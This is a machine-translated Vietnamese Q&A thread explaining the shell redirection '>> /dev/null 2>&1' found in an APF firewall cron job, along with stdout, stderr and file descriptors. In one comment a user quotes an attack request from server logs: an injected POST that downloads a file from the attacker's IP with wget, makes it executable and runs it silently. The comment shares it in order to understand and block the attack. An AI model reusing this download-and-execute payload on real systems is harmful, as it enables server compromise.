/ Dev / null 2> & 1 là gì?


237

Tôi đã tìm thấy đoạn mã này trong /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Nó đang xả và tải lại tường lửa.
Tôi không hiểu >> /dev/null 2>&1phần này.

Mục đích của việc này trong cron là gì? Nó ghi đè lên các quy tắc tường lửa của tôi. Tôi có thể gỡ bỏ công việc định kỳ này một cách an toàn không?


1
FYI: Một cách ngắn hơn để làm im lặng một quá trình là >&- 2>&-.
Zaz

22
@Josh: tại sao làm cho mọi thứ thậm chí khó hiểu hơn so với trước đây?
endolith

4
@Josh Điều này đóng các FD tương ứng, có thể làm cho các chương trình hủy bỏ.
glglgl

1
2>&1 > /dev/nullgiống như > /dev/null 2>&1 ? Nó có vẻ tự nhiên hơn đối với tôi ...
edelans

6
@edelans Không. Bằng cách đó, chuyển hướng thiết bị xuất chuẩn sang thiết bị xuất chuẩn, nhưng sau đó, chỉ có thiết bị xuất chuẩn ban đầu đến /dev/nullHampstderr vẫn sẽ được xuất. Hãy thử công cụ tại gist.github.com/zigg/344361751c0110419b0f
zigg

Câu trả lời:


354

>> /dev/nullchuyển hướng đầu ra tiêu chuẩn ( stdout) sang /dev/null, loại bỏ nó.

(Có >>vẻ như không cần thiết, vì >>có nghĩa là nối thêm trong khi >có nghĩa là cắt ngắn và viết, và thêm vào hoặc viết để /dev/nullcó cùng hiệu ứng ròng. Tôi thường chỉ sử dụng >cho lý do đó.)

2>&1chuyển hướng lỗi tiêu chuẩn ( 2) sang đầu ra tiêu chuẩn ( 1), sau đó loại bỏ nó vì đầu ra tiêu chuẩn đã được chuyển hướng.


7
Những &biểu tượng chỉ ra trong đó 2>&1.
Không ai vào

17
& chỉ ra một mô tả tập tin. Thường có 3 mô tả tập tin - đầu vào tiêu chuẩn, đầu ra và lỗi.
tra123

1
@Nobody kiểm tra câu trả lời của tôi dưới đây để biết stackoverflow.com/questions/10508843/what-is-dev-null-21/ của chúng tôi
Vishrant

1
Nếu & chỉ ra một mô tả tập tin thì tại sao không có & trước 2?
dùng6708151

1
Chỉ trong trường hợp những người khác không đọc câu trả lời dưới đây giải thích về mô tả tệp:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

Hãy chia >> /dev/null 2>&1câu lệnh thành nhiều phần:


Phần 1: >> chuyển hướng đầu ra

Điều này được sử dụng để chuyển hướng đầu ra chương trình và nối đầu ra ở cuối tập tin. Hơn...


Phần 2: /dev/null tập tin đặc biệt

Đây là một tập tin đặc biệt giả thiết bị .

Lệnh ls -l /dev/nullsẽ cung cấp cho bạn chi tiết về tập tin này:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Bạn đã quan sát crw? Điều đó có nghĩa là nó là một tệp thiết bị giả thuộc loại tệp ký tự đặc biệt cung cấp quyền truy cập nối tiếp.

/dev/nullchấp nhận và loại bỏ tất cả đầu vào; không tạo ra đầu ra (luôn trả về một dấu hiệu cuối tập tin khi đọc). Tham khảo: Wikipedia


Phần 3: 2>&1 mô tả tập tin

Bất cứ khi nào bạn thực hiện một chương trình, hệ điều hành luôn mở ba tệp, đầu vào tiêu chuẩn, đầu ra tiêu chuẩn và lỗi tiêu chuẩn như chúng ta biết mỗi khi mở tệp, hệ điều hành (từ kernel ) trả về một số nguyên không âm được gọi là mô tả tệp . Bộ mô tả tệp cho các tệp này lần lượt là 0, 1 và 2.

Vì vậy, 2>&1chỉ cần nói lỗi chuyển hướng tiêu chuẩn đến đầu ra tiêu chuẩn.

& có nghĩa là bất cứ điều gì sau đây là một mô tả tập tin, không phải là một tên tệp.

Nói tóm lại, bằng cách sử dụng lệnh này, bạn đang nói với chương trình của bạn không được hét trong khi thực hiện.

Tầm quan trọng của việc sử dụng là gì 2>&1 gì?

Nếu bạn không muốn tạo ra bất kỳ đầu ra nào, ngay cả trong trường hợp có một số lỗi được tạo ra trong thiết bị đầu cuối. Để giải thích rõ hơn, hãy xem xét ví dụ sau:

$ ls -l > /dev/null

Đối với lệnh trên, không có đầu ra nào được in trong thiết bị đầu cuối, nhưng nếu lệnh này tạo ra lỗi:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Mặc dù tôi đang chuyển hướng đầu ra /dev/null, nó được in trong thiết bị đầu cuối. Đó là bởi vì chúng tôi không chuyển hướng đầu ra lỗi sang /dev/null, do đó, để chuyển hướng đầu ra lỗi, nó được yêu cầu thêm 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
Ví dụ tốt! Đừng biết '>' sẽ không chuyển hướng 'STDERR' trước đây.
miao.wang

Giải thích cặn kẽ! rất nhiều thông tin. cảm ơn. Nó sẽ giúp tôi hiểu được cuộc tấn công web mà tôi mới gặp. Attacker đang tiêm một số mã độc thông qua yêu cầu POST có chứa đoạn mã ở trên.
Sohel Pathan

1
@Vishrant Mã được tiêm giống như: POST / user / password? Name [% 23post_Vnder] [] = system & name [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777 xm111; wget + -O + config.json + http: / gan > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx là IP của kẻ tấn công và nó cũng được liệt kê là lạm dụng trong nhiều trang web. Bước phòng ngừa đầu tiên và quan trọng nhất là chặn IP trong tường lửa cũng như mô hình của các IP đó. Tấn công là để chuyển hướng trên trang web của bên thứ 3 khi tải trang chủ. Nhật ký máy chủ Apache hiển thị IP và yêu cầu đáng ngờ.
Sohel Pathan

5
Tôi chỉ tự hỏi tại sao chúng tôi không sử dụng '&' trước 2. Ai đó có thể xin vui lòng xóa nghi ngờ của tôi?
Snehasish Karmakar

1
@SnehasishKarmakar một câu hỏi chính đáng. Tôi tin rằng HĐH đủ thông minh để hiểu rằng đối số đầu tiên sẽ là một mô tả tệp nhưng >là toán tử chuyển hướng, bất cứ điều gì sau toán tử chuyển hướng được dự kiến ​​sẽ là một vị trí tệp được thêm vào &trước đó 1chỉ ra rằng đó không phải là tệp mà ứng dụng phải chuyển hướng đầu ra nhưng một mô tả tập tin. Tôi sẽ đánh giá cao nếu ai đó có thể thêm chi tiết của bình luận này.
Vishrant

58

Đây là cách để thực hiện một chương trình một cách lặng lẽ và ẩn tất cả đầu ra của nó.

/dev/nulllà một đối tượng hệ thống tập tin đặc biệt loại bỏ mọi thứ được ghi vào nó. Chuyển hướng một luồng vào nó có nghĩa là ẩn đầu ra của chương trình của bạn.

Phần này 2>&1có nghĩa là "chuyển hướng luồng lỗi vào luồng đầu ra", vì vậy khi bạn chuyển hướng luồng đầu ra, luồng lỗi cũng được chuyển hướng. Ngay cả khi chương trình của bạn ghi đến stderrbây giờ, đầu ra đó cũng sẽ bị loại bỏ.


37
Trên thực tế, 2>&1thực sự chuyển hướng stderrđến stdout. Sự khác biệt giữa điều này và những gì bạn tuyên bố được minh họa rõ nhất bằng cách hoán đổi thứ tự của các chuyển hướng, ví dụ2>&1 >/dev/null .
zigg

15

/dev/null là một tệp tiêu chuẩn loại bỏ tất cả những gì bạn ghi vào nó, nhưng báo cáo rằng thao tác ghi đã thành công.

1là đầu ra tiêu chuẩn và 2là lỗi tiêu chuẩn.

2>&1 chuyển hướng lỗi tiêu chuẩn sang đầu ra tiêu chuẩn. &1cho biết mô tả tệp (đầu ra tiêu chuẩn), nếu không (nếu bạn chỉ sử dụng 1), bạn sẽ chuyển hướng lỗi tiêu chuẩn sang một tệp có tên 1. [any command] >>/dev/null 2>&1chuyển hướng tất cả các lỗi tiêu chuẩn thành đầu ra tiêu chuẩn và ghi tất cả các lỗi đó vào /dev/null.


7

tôi sử dụng >> /dev/null 2>&1 cho một cronjob im lặng. Một cronjob sẽ thực hiện công việc, nhưng không gửi báo cáo đến email của tôi.

Theo tôi biết, đừng loại bỏ /dev/null. Nó rất hữu ích, đặc biệt là khi bạn chạy cPanel , nó có thể được sử dụng cho các báo cáo cronjob vứt đi.


2

Theo mô tả của những người khác, ghi vào / dev / null sẽ loại bỏ đầu ra của chương trình. Thông thường, cron sẽ gửi email cho mỗi đầu ra từ quá trình bắt đầu bằng một cronjob. Vì vậy, bằng cách viết đầu ra thành / dev / null, bạn sẽ không bị spam nếu bạn đã chỉ định địa chỉ của mình bằng cron.


0

Chỉnh sửa /etc/conf.apf. Đặt DEVEL_MODE="0". DEVEL_MODEđược đặt thành 1sẽ thêm một công việc định kỳ để dừng apf sau 5 phút.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.